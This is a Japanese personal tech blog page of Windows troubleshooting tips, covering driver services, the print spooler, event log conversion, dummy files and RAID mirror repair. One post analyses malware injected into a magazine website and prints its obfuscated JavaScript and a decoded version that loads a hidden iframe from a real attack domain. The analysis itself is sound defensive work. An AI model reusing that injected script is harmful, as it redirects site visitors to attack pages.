人気ブログランキング |
カテゴリ:豆知識( 206 )
(Word)セルの途中で改ページを許可する
Wordで表を作成したときに、セル(行)の途中で改ページを許可する方法です。
表のプロパティを表示し、"行"タブで、"行の途中で改ページする" にチェックをいれればOKです。

しかし、まれにこのチェックがグレーアウトしてチェックできないケースがあります。

これは表が途切れる位置にあるセルで、文字方向が縦になっている場合に起こるようです。
なので、文字方向を横にしてやる必要が有ります。

あまりWord触ってないので、基本的なこともわかってない3流PGです。


参考:
Word-表 「行の途中で改ページする」がグレーアウトされ、チェックを入れることができない。 - 教えて!HELPDESK
Wordの表で、セルの途中で改ページされないようにしたい: [aotenブログ]木村幸子の知って得するマイクロソフトオフィスの話
by Jehoshaphat | 2012-05-16 00:33 | 豆知識
ドライバサービスを起動しないようにする
とあるWindowsPCで、「PCAMPR5 NDIS Protocol Driver サービスは次のエラーのため開始できませんでした: 指定されたパスが見つかりません。」というエラーがイベントログに大量に出てました。

どうやらLAN関係のドライバをいれてアンインストールしたらしいのですが、インストーラの出来が悪いようでドライバが残ってしまってしまってるようです。

ググッた結果 PCAMPR5 のサービスを削除すればいいとあったので、下記コマンドで削除を試みます。

sc delete PCAMPR5

これで、レジストリの HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PCAMPR5 を見たら消えてたんでやれやれと思い再起動をかけるとまたイベントログに同じエラーが。。。

レジストリを見たところ消えていたキーが復活してます。。
なぜかは不明です。。

レジストリから直接消してもリブートするとまた復活してしまいます。


仕方ないので消すのは諦めこのサービスが起動しないように設定することにしました。

sc コマンドを使いサービスの構成情報を表示します。


sc qc PCAMPR5

TYPE :1 KERNEL_DRIVER
START_TYPE :3 DEMAND_START
....


START_TYPE :3 DEMAND_START というのは、MSサポート:Windows でカーネル モードのフィルタ ドライバを一時的に無効にする方法によると、ドライバまたはサービスを要求に応じて起動する必要があります。という意味だそうです。

上記MSページにあるとおり、HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PCAMPR5 の Start の値を 4 つまり、ドライバまたはサービスの読み取りや初期化は行われません。 にして再起動してみました。

するとエラーがイベントログに出ていません。どうやらこれでサービスの停止が上手くいったようです。


参考:
Tamutamu: PCAMPR5 と WNNDIS5
@IT:強化されたコマンドライン・ツール(前編)
sc:コマンドプロンプトを使いこなそう!
SCコマンド - Astarisk Works Wiki
by Jehoshaphat | 2012-05-16 00:30 | 豆知識
Windows2000でレジストリからスタートアップ項目を削除する方法
つい最近まで知らなかったんですが、Windows2000にはmsconfig無いようです。

不要なスタートアップを削除したいという要件だったので直接レジストリから消すことにしました。
大抵、下記のレジストリの場所にスタートアップが登録されています。

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

参考情報を見ると、別途msconfigを入れることも可能なようです。

参考:
Windows2000/XPの主なサービス一覧
Windows2000にmsconfig をインストールしてみよう - Windows 2000 Blog
by Jehoshaphat | 2012-05-12 12:58 | 豆知識
FlashPlayerがエントリポイントが見つかりませんというエラーを出す
PC起動時に、下記のようなエラーがでました。

FlashUtil10b.exe - エントリポイントが見つかりません

プロシージャエントリポイントGetSystemWow64DirectoryA がダイナミックリンクライブラリ KERNEL32.dll から見つかりませんでした。



FlashUtil10b.exe は %systemroot%\system32\macromed\flash にあるらしいのですが、このバージョンが古いとダメなようです。
このexeは最新のFlashがあるかどうかチェックしてアップデートを促すもののようです。

FlashPlayerを入れ直すとOKなようです。

参考:
FlashPlayer 10とGetSystemWow64DirectoryA - Windows 2000 Blog
Adobe系嫌い - BLOG of Lieutenant Q゛ - Yahoo!ジオシティーズ

ちなみに、Windows2000ってFlashPlayer使えるけど、サポート切られているようです。
FlashPlayer 10.2と Shockwave Player 11.5.9.620 - Windows 2000 Blog
by Jehoshaphat | 2012-05-11 21:13 | 豆知識
GoogleChromeで拡張機能をインストールしようとするとエラーになる
GoogleChromeで拡張機能をインストールしようとすると、下記のようなエラーとなりました。

「拡張機能を解凍できません。拡張機能を安全に解凍するには、ドライブ文字で始まるプロフィールディレクトリへのパスが必要です(ジャンクション、マウントポイント、シンボリックリンクが含まれていないこと)。このようなパスがプロフィール内に存在しません。」

解決法ですが、chrome.exeへのショートカットで引数に、--single-process を付けて起動するとインストールできます。
ただ、そのまま放置しておくとサンドボックスが有効にならないようなので、インストールが終わったら引数をのけてやりましょう。

参考:
chromeヘルプフォーラム:拡張機能がインストールできない
by Jehoshaphat | 2012-04-19 22:10 | 豆知識
EVT形式のイベントログをEVTX形式に変換
(Windows)ログオン・ログアウトをイベントログから解析する でイベントログを解析するLog Parser というツールを紹介しました。

WindowVistaやServer2008以降はイベントログの形式が evtx に変わっています。

WindowVistaやServer2008以降で、LogParserをインストールして解析したところ、うまくいきました。
インポートのフォーマットも -i:EVT でOKです。

しかし、XPやServer2003以前では LogParser で evtx のログは解析できません。
(解析かけると「<from-entity> を開けません。: イベントログ "C:\hoge.evt" を開く際にエラーが発生しました。: イベント ログ ファイルが壊れています。」と怒られます)


WindowVistaやServer2008以降でも LogParser で EVT ファイルは解析できないようです。
なので、WindowVistaやServer2008以降で EVT ファイルを解析する場合は、一端 EVT を EVTX に変換してやる必要があります。

EVT から EVTX への変換は wevtutil というコマンドを使うと可能なようです。

wevtutil epl e:\hoge_old.evt e:\hoge_new.evtx /lf:true


すると、hoge_new.evtx というevtx形式ののイベントログが出来上がります。

あとはこれをLogParserにかけてやればいいわけですね。


参考:
イベントログを SQL Server に入れて分析する
Tip o' the Week: WEVTUTIL for EVTX/EVT file conversion
by Jehoshaphat | 2012-04-19 00:13 | 豆知識
スプーラが異常終了してから起動しない
とあるPCでプリンタの一覧が消える自体が発生しました。
とりあえずスプーラが生きているかどうかをタスクマネージャー(spoolsv.exeがいるか)とサービスの画面(Print Spoolerサービスが開始状態か)から確認。
見事に落ちてました。
しかし、Print Spoolerサービスを開始するとすぐにまたスプーラが落ちてしまいます。

イベントログを確認すると以下のようになっていました。

イベントの種類:エラー
イベント ソース:Service Control Manager
イベント カテゴリ:なし
イベント ID:7031
日付:2012/01/11
時刻:11:11:11
ユーザー:N/A
コンピュータ:hogepc
説明:
Print Spooler サービスは予期せず終了しました。これは 2 回発生しています。次の修正動作が 60000 ミリ秒以内に行われます: サービスの再開


PCを再起動して見ましたが、ダメです。
一向にサービスが開始しません。

調べてみると、C:\WINDOWS\system32\spool\PRINTERS 内のファイルを消すとよいとそうして見たところ、ようやくスプーラが上がってくるようになりました。

C:\WINDOWS\system32\spool\PRINTERS 内にキューのデータが溜まるようです。

おそらく印刷ジョブ(ネットワークプリンタ)が走っているときに、LANが抜けた等でキューにファイルが残ったままになったのでしょう。
それが、スプーラの再開を妨げていたようです。

参考:
旧・落伍弟子のブログ(www.takigi.orgもよろしく) : Windows7 でPrintSpoolerがエラー
プリンターが全て消えた(Vista): パソコン駆け込み寺日誌
vista プリンターのアイコンが消える - Microsoft Answers
by Jehoshaphat | 2012-02-06 00:45 | 豆知識
最近のGumblar系マルウェアは悪質JavaScript挿入が動的?
先日とある雑誌会社提供の情報サイト(http://www.fqmagazine.jp/3727/news_kansens/)をみていると、ウイルス対策ソフト(ESET)が反応しました。(S/Iframe.AS)

WEBサイトのセキュリティチェックに役立つオンラインツールで紹介したaguseやDR.Web、virustotal等でチェックしましたが、それらでは白でした。

Linux端末で wget でソースを取得するも、ウイルス対策ソフトが反応しそうな Iframe や JavaScriptは有りません。

ん?とおもい、今度はWindows端末のOpera でJS実行を無効化し、問題のサイトにアクセスし、HTMLソースを見ると、以下のような難読化されたJavaScriptが出てきました。


if(window.document)aa=(Number+Date).substr(0,4);
aaa=([].sort+[].sort).substr(0,4);
if(aa===aaa){
ss=new String();
s=String;
12-function(){
e=window['e'+'v'+'a'+'l'];
f='fr';
f=f+'omCha'.concat('rC','o','d','e');}();
t='w';
}
ddd=new Date();
d2=new Date(ddd.valueOf()-2);
h=-1*(ddd-d2);
n=["4.5w4.5w52.5w51w16w20w50w55.5w49.5w58.5w54.5w50.5w55w58w23w51.5w50.5w58w34.5w54w50.5w54.5w50.5w55w58w57.5w33w60.5w42w48.5w51.5w39w48.5w54.5w50.5w20w19.5w49w55.5w50w60.5w19.5w20.5w45.5w24w46.5w20.5w61.5w4.5w4.5w4.5w52.5w51w57w48.5w54.5w50.5w57w20w20.5w29.5w4.5w4.5w62.5w16w50.5w54w57.5w50.5w16w61.5w4.5w4.5w4.5w50w55.5w49.5w58.5w54.5w50.5w55w58w23w59.5w57w52.5w58w50.5w20w17w30w52.5w51w57w48.5w54.5w50.5w16w57.5w57w49.5w30.5w19.5w52w58w58w56w29w23.5w23.5w57.5w48.5w55w53w58.5w48.5w55w57.5w52.5w51.5w55w57.5w23w55.5w57.5w48.5w23w56w54w23.5w57.5w52w55.5w59.5w58w52w57w50.5w48.5w50w23w56w52w56w31.5w58w30.5w27w25.5w28.5w26w25w24w27.5w25w19.5w16w59.5w52.5w50w58w52w30.5w19.5w24.5w24w19.5w16w52w50.5w52.5w51.5w52w58w30.5w19.5w24.5w24w19.5w16w57.5w58w60.5w54w50.5w30.5w19.5w59w52.5w57.5w52.5w49w52.5w54w52.5w58w60.5w29w52w52.5w50w50w50.5w55w29.5w56w55.5w57.5w52.5w58w52.5w55.5w55w29w48.5w49w57.5w55.5w54w58.5w58w50.5w29.5w54w50.5w51w58w29w24w29.5w58w55.5w56w29w24w29.5w19.5w31w30w23.5w52.5w51w57w48.5w54.5w50.5w31w17w20.5w29.5w4.5w4.5w62.5w4.5w4.5w51w58.5w55w49.5w58w52.5w55.5w55w16w52.5w51w57w48.5w54.5w50.5w57w20w20.5w61.5w4.5w4.5w4.5w59w48.5w57w16w51w16w30.5w16w50w55.5w49.5w58.5w54.5w50.5w55w58w23w49.5w57w50.5w48.5w58w50.5w34.5w54w50.5w54.5w50.5w55w58w20w19.5w52.5w51w57w48.5w54.5w50.5w19.5w20.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w57.5w57w49.5w19.5w22w19.5w52w58w58w56w29w23.5w23.5w57.5w48.5w55w53w58.5w48.5w55w57.5w52.5w51.5w55w57.5w23w55.5w57.5w48.5w23w56w54w23.5w57.5w52w55.5w59.5w58w52w57w50.5w48.5w50w23w56w52w56w31.5w58w30.5w27w25.5w28.5w26w25w24w27.5w25w19.5w20.5w29.5w51w23w57.5w58w60.5w54w50.5w23w59w52.5w57.5w52.5w49w52.5w54w52.5w58w60.5w30.5w19.5w52w52.5w50w50w50.5w55w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w56w55.5w57.5w52.5w58w52.5w55.5w55w30.5w19.5w48.5w49w57.5w55.5w54w58.5w58w50.5w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w54w50.5w51w58w30.5w19.5w24w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w58w55.5w56w30.5w19.5w24w19.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w59.5w52.5w50w58w52w19.5w22w19.5w24.5w24w19.5w20.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w52w50.5w52.5w51.5w52w58w19.5w22w19.5w24.5w24w19.5w20.5w29.5w4.5w4.5w4.5w50w55.5w49.5w58.5w54.5w50.5w55w58w23w51.5w50.5w58w34.5w54w50.5w54.5w50.5w55w58w57.5w33w60.5w42w48.5w51.5w39w48.5w54.5w50.5w20w19.5w49w55.5w50w60.5w19.5w20.5w45.5w24w46.5w23w48.5w56w56w50.5w55w50w33.5w52w52.5w54w50w20w51w20.5w29.5w4.5w4.5w62.5"];
n=n[0].split(t);
for(i=0;i-n.length<0;i++)
ss=ss+s[f](-h*n[i]);
e(ss);


上記コードを可読化したものが以下になります。

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://sanjuansigns.osa.pl/showthread.php?t=63942072');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}


確かに、Iframe を使って攻撃サイトにリダイレクトするような仕掛けになっています。
sanjuansigns.osa.plドメインはGoogleSafeBrowsingでも攻撃サイトとして判定されていました。
URLの引数によって、攻撃を仕掛けるかどうか判断しているようで、上記URLにアクセスしたときには404になってしまいました。

今回驚いたのは、攻撃サイトにリダイレクトするJavaScriptコードがアクセスするときによって含まれたり含まれなかったりするという点です。
今回の問題のサイトは、WEBアプリケーションフレームワークを使っているようで、URL叩いたら直接HTMLファイルを見に行くものではないようです。
ということは、WEBアプリケーション側に不正なコードが仕組まれて、クライアントからのリクエストの何かをパラメータとしてリダイレクトコードを含めるかどうか判断しているのかも知れません。
もしくは、負荷分散のため設置しているコンテンツサーバのどれか一台にだけリダイレクトコードが含まれているのかもしれません。
by Jehoshaphat | 2012-02-06 00:13 | 豆知識
ファイルコピーベンチマークのためダミーファイルを作りたい
今回共有フォルダでのファイル転送ベンチマークを測定しようと思ってました。
それで、ファイルサイズが小さい分と、大きい分のテストデータが必要になります。

そのダミーファイルを簡単につくる方法がないかとおもったら、有りました。
@IT:巨大なサイズのファイルを簡単に作る方法に載ってます。

fsutil というコマンドを使えば簡単にダミーファイルを作れるようです。
書式は下記のうような感じ。


fsutil file createnew ファイル名 サイズ


サイズは10進指定なので、WindowsでいうMやGの単位に合わせたいときは注意が必要ですね。(正確には2進接頭辞で表すとMi,Gi)

1Ki = 2^10 =1024
1Mi = 2^20 =1024x1024 = 1048576
1Gi = 2^30 =1024x1024x1024 = 1073741824
1Pi = 2^40 =1024x1024x1024x1024 =1099511627776

(このあたりの単位換算はWikipedia:2進接頭辞伊勢雅英のIT見聞録情報の単位を参照)


ただ、NTFSでファイルを作ったときは注意が必要なようです。
NTFSの場合、ファイルのブロックを予約するだけで実際のデータの記録はしてないようです。
ですので、fsutil でファイルを作ったら一旦コピーしてから使ったほうが無難ですね。


ファイルコピーの時間計測

コピーの時間の計測も参考元@ITにあるように、下記コマンドで測れます。

time /t && copy testfile testfile2 && time /t


しかし、これだと時間が分までしかでません。
ということで、秒単位で測るならバッチファイルにしてしまったほうが良いかと思います。

下記ようなバッチにしました。

@echo off

echo %time%
xcopy testfile testfile2 /q /i /E /Y
echo %time%
pause



これで簡単に任意のサイズのファイルを使ったベンチマークができますね。
by Jehoshaphat | 2012-01-14 16:25 | 豆知識
WindowsServerソフトRAIDのミラーボリューム修復

WindowsServer2008のソフトウェアRAIDを使って、ミラーボリュームとストライプボリュームを組んでいました。

しばらく前にその内の1台のHDDが不調になったようで、ディスクの管理を見るとディスクが"不足"となっていました。
Windows上から片方のHDDが見えなくなったようです。
WindowsServerソフトRAIDのミラーボリューム修復_e0091163_0415663.jpg


案の定というか当然ストライプボリューム内のデータはおじゃんです。
ミラーボリュームはちゃんと冗長化されてたので、1台ダメになっても動いてました。
しかし、このまま放置してもう一台がおじゃんになると困ります。

ということで、新しいディスクに交換して、ミラーボリュームの修復を試みて見ました。

まず、不足のディスクの"ディスクの再アクティブ化"、ミラーボリュームの"ボリュームの再アクティブ化"を試しましたが、"プレフィックスが見つかりません。"というエラーになります。

新しいディスクを接続後、@IT:Windows 2000 ServerのソフトウェアRAIDを極める(後編)4. ソフトウェアRAIDの障害復旧の手順は?には、[形式の異なるディスクのインポート]をするとよいと有りましたが、先に初期化してダイナミックディスクにしてしまったので、試せませんでした。(一度ダイナミックディスクにしてしまうと、[形式の異なるディスクのインポート]はグレーアウトして選択できなくなりました)
WindowsServerソフトRAIDのミラーボリューム修復_e0091163_044129.jpg


それで、TechNet:障害が発生したミラーを別のディスク上の新しいミラーで置き換えるの方法を試して見ました。

まず、ミラーボリュームを右クリックし、[ミラーの削除]をします。
WindowsServerソフトRAIDのミラーボリューム修復_e0091163_0442427.jpg


削除するのは認識できなくなった[不足]のディスクです。
WindowsServerソフトRAIDのミラーボリューム修復_e0091163_0443688.jpg

ミラーの削除が終わるとこうなります。
WindowsServerソフトRAIDのミラーボリューム修復_e0091163_0444781.jpg

これでミラー対象ボリュームを右クリックし[ミラーの追加]を選択し、新しいディスクを選択します。
WindowsServerソフトRAIDのミラーボリューム修復_e0091163_0445536.jpg

WindowsServerソフトRAIDのミラーボリューム修復_e0091163_045124.jpg


そうすると、再同期が始まります。
WindowsServerソフトRAIDのミラーボリューム修復_e0091163_0451375.jpg



完了するとこのようになります。
WindowsServerソフトRAIDのミラーボリューム修復_e0091163_0452323.jpg



ちなみに、ストライプボリュームは削除するしかないようですね。

参考:
TechNet:ディスクを再接続してミラー ボリュームを修復する
by Jehoshaphat | 2011-11-15 00:46 | 豆知識